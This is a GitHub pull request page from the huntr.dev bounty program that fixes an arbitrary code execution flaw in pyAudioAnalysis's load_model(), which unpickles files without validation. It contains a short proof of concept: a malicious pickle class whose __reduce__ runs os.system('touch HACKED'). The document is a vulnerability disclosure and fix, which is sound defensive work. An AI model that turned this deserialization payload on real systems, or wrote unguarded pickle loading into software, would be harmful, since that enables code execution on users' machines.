Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We鈥檒l occasionally send you account related emails.

Already on GitHub? Sign in to your account

Security Fix for Arbitrary Code Execution - huntr.dev #339

Open
wants to merge 2 commits into
base: master
Choose a base branch
from

Conversation

huntr-helper
Copy link

https://huntr.dev/users/d3m0n-r00t has fixed the Arbitrary Code Execution vulnerability 馃敤. Think you could fix a vulnerability like this?

Get involved at https://huntr.dev/

Q | A
Version Affected | ALL
Bug Fix | YES
Original Pull Request | 418sec#2
Vulnerability README | https://github.com/418sec/huntr/blob/master/bounties/other/pyAudioAnalysis/1/README.md

User Comments:

馃搳 Metadata *

Fixed Arbitrary code execution in pyAudioAnalysis

Bounty URL: https://www.huntr.dev/bounties/1-other-pyAudioAnalysis

鈿欙笍 Description *

pyAudioAnalysis is an open Python library that provides a wide range of audio-related functionalities focusing on feature extraction, classification, segmentation and visualization issues. This package is vulnerable to Arbitrary Code Execution.

馃捇 Technical Description *

The function load_model() blindly loads a pickle file without any validation making it vulnerable to Arbitrary Code Execution. If the input pickle file is a malicious payload, create a file remotely.

馃悰 Proof of Concept (PoC) *

import pickle
import os
from pyAudioAnalysis import audioTrainTest as aT

class EvilPickle(object):
    def __reduce__(self):
        return (os.system, ('touch HACKED', ))

payload = pickle.dumps(EvilPickle())

with open('MEANS', 'wb') as file:
    file.write(payload)

aT.load_model('')

Screenshot 2021-01-08 092958

馃敟 Proof of Fix (PoF) *

Screenshot 2021-01-08 093431

For subprocess
Screenshot 2021-01-08 094622

馃憤 User Acceptance Testing (UAT)

Applied fix from pickle official fix as explained in here.
https://www.cmi.ac.in/~madhavan/courses/python-2014/docs/python-3.2.1-docs-html/library/pickle.html

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

Successfully merging this pull request may close these issues.

None yet

3 participants